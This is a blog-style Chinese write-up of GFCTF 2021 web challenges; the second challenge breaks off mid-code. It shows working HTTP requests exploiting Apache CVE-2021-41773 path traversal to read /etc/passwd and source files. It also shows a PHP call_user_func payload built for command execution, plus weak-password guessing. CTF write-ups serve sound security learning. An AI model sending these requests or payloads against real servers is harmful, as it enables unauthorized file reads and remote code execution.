• [GFCTF 2021]web部分题解(更新中ing)


    [GFCTF 2021]Baby_Web

    拿源码环节:

    打开环境(◡ᴗ◡✿)

    乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?

    这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接展示一下扫描结果,收到了一部分新师傅的私信说之前的题解虽然讲了在那些题目下Kali,bp的使用方法但是没说具体的,后边会单独出教程的T-T这里就不多说了)

    这里出现了几个很重要的关键词“cgi-bin”“.%2e”想到了之前偶然间看到的两篇博客:“CVE-2021-41773_Jay 17”“Apache httpd CVE-2021-41773 漏洞分析”简单来说就是:在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时, ap_normalize_path()函数会对路径参数先进行 url 解码,然后判断是否存在 ../路径穿越符。结果就是如果路径中存在 %2e./形式,程序就会检测到路径穿越符。然而,当出现 .%2e %2e%2e/ 形式,程序就不会将其检测为路径穿越符。那么就可以活用到这道题目。

    打开BP,本地环境修改以后刷新网页进行抓包(ρ_・).。:

    在发包界面点击Repeater,进入可修改发包界面,在url栏修改代码然后发包:

    php
    GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

    代码形式参考kali扫描结果!^_~

    修改成下图:

    php
    GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

    可以看到已经可以有目录了,那么开始想既然当前目录是/var/www/html,那上层就是/var/www/想起来刚才说源码在xxx.php.txt那应该有最原始的index吧?O.o,先做尝试?

    php
    GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

    有了!ヾ(^▽^*))) index.php长这样!

    php
    
    error_reporting(0);
    define("main","main");
    include "Class.php";
    $temp = new Temp($_POST);
    $temp->display($_GET['filename']);
    
    ?>

    看了一下源码!Class.php?好啊,看来同目录下还有个这个那直接找一下,刚才的文件叫“xxx.php.txt”这个也一样喽?

    php
    GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

    Class.php长这样!

    php
    
    defined('main') or die("no!!");
    Class Temp{
        private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
        private $template;
        public function __construct($data){
    
            $this->date = array_merge($this->date,$data);
        }
        public function getTempName($template,$dir){
            if($dir === 'admin'){
                $this->template = str_replace('..','','./template/admin/'.$template);
                if(!is_file($this->template)){
                    die("no!!");
                }
            }
            else{
                $this->template = './template/index.html';
            }
        }
        public function display($template,$space=''){
    
            extract($this->date);
            $this->getTempName($template,$space);
            include($this->template);
        }
        public function listdata($_params){
            $system = [
                'db' => '',
                'app' => '',
                'num' => '',
                'sum' => '',
                'form' => '',
                'page' => '',
                'site' => '',
                'flag' => '',
                'not_flag' => '',
                'show_flag' => '',
                'more' => '',
                'catid' => '',
                'field' => '',
                'order' => '',
                'space' => '',
                'table' => '',
                'table_site' => '',
                'total' => '',
                'join' => '',
                'on' => '',
                'action' => '',
                'return' => '',
                'sbpage' => '',
                'module' => '',
                'urlrule' => '',
                'pagesize' => '',
                'pagefile' => '',
            ];
    
            $param = $where = [];
    
            $_params = trim($_params);
    
            $params = explode(' ', $_params);
            if (in_array($params[0], ['list','function'])) {
                $params[0] = 'action='.$params[0];
            }
            foreach ($params as $t) {
                $var = substr($t, 0, strpos($t, '='));
                $val = substr($t, strpos($t, '=') + 1);
                if (!$var) {
                    continue;
                }
                if (isset($system[$var])) { 
                    $system[$var] = $val;
                } else {
                    $param[$var] = $val; 
                }
            }
            // action
            switch ($system['action']) {
    
                case 'function':
    
                    if (!isset($param['name'])) {
                        return  'hacker!!';
                    } elseif (!function_exists($param['name'])) {
                        return 'hacker!!';
                    }
    
                    $force = $param['force'];
                    if (!$force) {
                        $p = [];
                        foreach ($param as $var => $t) {
                            if (strpos($var, 'param') === 0) {
                                $n = intval(substr($var, 5));
                                $p[$n] = $t;
                            }
                        }
                        if ($p) {
    
                            $rt = call_user_func_array($param['name'], $p);
                        } else {
                            $rt = call_user_func($param['name']);
                        }
                        return $rt;
                    }else{
                        return null;
                    }
                case 'list':
                    return json_encode($this->date);
            }
            return null;
        }
    }

    我了个豆T.T,这么长啊打开Vscode建在一个工程下

    开始审计代码。。。┭┮﹏┭┮

    index.php

    先分析一下

    首先,这里调用了Temp作为类,并构造方式传参,传参方式是POST。然后调用了Temp中Display作为方式传,Get形式提交filename

    代码放这里对照看一下

    Class.php

    1.先看一下“temp”类吧:

    php
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
        private $template;
        public function __construct($data){
    
            $this->date = array_merge($this->date,$data);

    可以看到用了array_merge()函数,简单介绍一下吧:array_merge()出现时,则合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名则合并后为参数2数组中对应键的值,发生了覆盖。(造成变量覆)盖然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。

    这里附上php手册上的例子:

    2.往下分析display:

    php
        public function display($template,$space=''){
    
            extract($this->date);
            $this->getTempName($template,$space);
            include($this->template);

    可以看出来有两个魔术方法分别是“extract()”以及“include()”那么直接查手册得到这两个方法含义:

    extract():从数组中将变量导入到当前的符号表。

    include():包含一个文件。

    3.再看getTempName():

    php
        public function getTempName($template,$dir){
            if($dir === 'admin'){
                $this->template = str_replace('..','','./template/admin/'.$template);
                if(!is_file($this->template)){
                    die("no!!");
                }
            }
            else{
                $this->template = './template/index.html';
            }
        }
        

    可以看到句子意思是:如果传入getTempName()中形参dir是admin,那么就对template的属性:

    set-code-show prettyprint highlighter- cpp
    $this->template

    进行一个拼接,拼接过程为属性,同时进行替换过滤。过滤内容为:

    set-code-show prettyprint highlighter- 1c
    '..','','./template/admin/'

    其中

    is_file()用于检查是否是文件。

    4.最后检查一下listdata():

    php
        public function listdata($_params){
            $system = [
                'db' => '',
                'app' => '',
                'num' => '',
                'sum' => '',
                'form' => '',
                'page' => '',
                'site' => '',
                'flag' => '',
                'not_flag' => '',
                'show_flag' => '',
                'more' => '',
                'catid' => '',
                'field' => '',
                'order' => '',
                'space' => '',
                'table' => '',
                'table_site' => '',
                'total' => '',
                'join' => '',
                'on' => '',
                'action' => '',
                'return' => '',
                'sbpage' => '',
                'module' => '',
                'urlrule' => '',
                'pagesize' => '',
                'pagefile' => '',
            ];
    
            $param = $where = [];
    
            $_params = trim($_params);
    
            $params = explode(' ', $_params);
            if (in_array($params[0], ['list','function'])) {
                $params[0] = 'action='.$params[0];
            }
            foreach ($params as $t) {
                $var = substr($t, 0, strpos($t, '='));
                $val = substr($t, strpos($t, '=') + 1);
                if (!$var) {
                    continue;
                }
                if (isset($system[$var])) { 
                    $system[$var] = $val;
                } else {
                    $param[$var] = $val; 
                }
            }
            // action
            switch ($system['action']) {
    
                case 'function':
    
                    if (!isset($param['name'])) {
                        return  'hacker!!';
                    } elseif (!function_exists($param['name'])) {
                        return 'hacker!!';
                    }
    
                    $force = $param['force'];
                    if (!$force) {
                        $p = [];
                        foreach ($param as $var => $t) {
                            if (strpos($var, 'param') === 0) {
                                $n = intval(substr($var, 5));
                                $p[$n] = $t;
                            }
                        }
                        if ($p) {
    
                            $rt = call_user_func_array($param['name'], $p);
                        } else {
                            $rt = call_user_func($param['name']);
                        }
                        return $rt;
                    }else{
                        return null;
                    }
                case 'list':
                    return json_encode($this->date);
            }
            return null;
        }
    }

    trim():去除字符串首尾处的空白字符。
    in_array():检查数组中是否存在某个值。

    foreach():遍历给定的数组。

    strpos():查找字符串首次出现的位置

    function_exists():如果给定的函数已经被定义就返回“ture”

    intval():获取变量的整数值

    call_user_func_array():call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

    call_user_func():第一个参数是被调用的回调函数,其余参数是回调函数的参数。

    json_encode():进行json格式的加密

    explode():根据指定的分隔符将一个字符串拆分为一个数组的子字符串。比如说原来params=123Eexplodeparams=[“1”,“2”,“3”,“E”]

    Payload调试开始:

    利用call_user_func函数进行RCE

    flag在phpinfo中也会显示。所以我们只需要$param['name']='phpinfo'就行啦。

    o( ̄ε ̄*):

    1.用$param['name']=system推,param[name]要是定义函数,并且同时system['action']=function 这里前者已经满足了,后者还需要构造。

    2.满足$param['name']=system的同时,foreach语句块中需要构造一下下列情况 :

    php
    'name '='system'
    'action'='function'

    还需要注意的是,params数组需要构造下边的语句:

    php
    ‘force’ =‘false‘param0xxxxx’ = ‘命令’

    3.如果$params数组(有序数组)第一个元素是'list' 或者'function',就把$params数组第一个元素的内容,前面加上一个字符串action=

    php
    if (in_array($params[0], ['list','function'])) {
        $params[0] = 'action='.$params[0];
    }

    利用上一段代码

    php
    $params=[“function”,“name=system”,“force=false”,“param0xxxxx=命令”]

    4.继续推:

    $_params参数的值是"function name=system force=false param0xxxxx=命令
    或者action=function name=system force=false param0xxxxx=命令

    5.调用这个listdata方法就需要进入template/admin/这个路由,即在display()方法中包含这个路由,即display()方法中执行include($this->template);时,$this->template属性就是template/admin/

    6.我们的目的是执行$this->template = str_replace('..','','./template/admin/'.$template);语句,并且在执行时使$dir = 'admin'并且$template=index.html

    因为template/admin/路由和template/admin/index.html文件都能调用listdata方法,但是if(!is_file($this->template))要求是为文件。所以getTempName($template,$dir)方法的形参$template=index.html,形参$dir=admin

    7.getTempName($template,$dir)方法的形参确定了,而getTempName($template,$dir)方法的形参又来源于display()方法的方法内变量(也可以叫属性)$template$space

    那么问题来了,这两个属性在方法不存在。要使这两个属性存在且有我们需要的值,只能执行extract($this->date);语句,从数组中将变量导入到当前的符号表。类中变量/属性$this->date就应该是['template'=>'index.html','space'=>'admin']。

    8.利用listdata传参

    9.最终payload为:

    php
    ?filename=index.html//GET
    space=admin&mod=xxx action=function name=phpinfo//POST

    呼~这就算是完成了!

     

     

    这样子传完以后会进入phpinfo  CTRL F 搜索就好了:

     

     NSSCTF{0489d6cf-1449-4db0-8f91-d62c7aedb074}  

    解决!

     

    [GFCTF 2021]文件查看器

    好的,这次不急着启动环境,一般来说我不会去看题目标签,就当是比赛来打,但是这题是有提示的所以环境启动界面先停留一下!

    可以看到,它说“php://filter有很多有趣的过滤器”那就留一个心眼,接着环境打开:

    又是喜闻乐见的登陆界面,让我忍不住想弱口令不过在这之前还是先看看F12的源码,防止做无用功。发现还是啥都没,这时候总感觉少东西,那先盲猜吧。admin;admin。

    进去了,唉,又是这种没有任何逻辑盲猜的题目,那应该弱口令就是正解,这里取巧节省时间了(这里是因为小T的习惯是做题都要有一点依据,盲猜过关这种真的很不喜欢,所以吐槽了一下)

    一个框?那我们试一试看是不是sql那一类的,当然不能随便输入,他都说叫文件查看器了,直接找index.php看行不行O.o

    这里出来了一段代码,瞬间停止双手,这个框的功能好像类似于“ctrl F”也就是一个关键字提取器

    试了试直接调用flag

    不行的,也就是有关键字过滤?那估计后台有个源码了,kali拉起来去扫一下目录!

    事实证明咱的思路是对的,后台真的有东西,那就访问下载一下(lll¬ω¬)

    http
    http://node4.anna.nssctf.cn:28055/www.zip

    得到一个压缩包,vscode拉起来得到下边的程序框架(✿◡‿◡):

    大概有这么多文件,接下来挨个看看有没有突破口≡[。。]≡,有用的是几个php文件类互相呼应他们共同形成了一个POP链子,先把源码放在下边:

    Myerror.class.php

    php
    
        class Myerror{
            public $message;
    
            public function __construct(){
                ini_set('error_log','/var/www/html/log/error.txt');
                ini_set('log_errors',1);
            }
    
            public function __tostring(){
                $test=$this->message->{$this->test};
                return "test";
            }
        }

    Files.class.php

    php
    
        class Files{
            public $filename;
    
            public function __construct(){
                $this->log();
            }
            
            public function read(){
                include("view/file.html");
                if(isset($_POST['file'])){
                    $this->filename=$_POST['file'];
                }else{
                    die("请输入文件名");
                }
                $contents=$this->getFile();
                echo '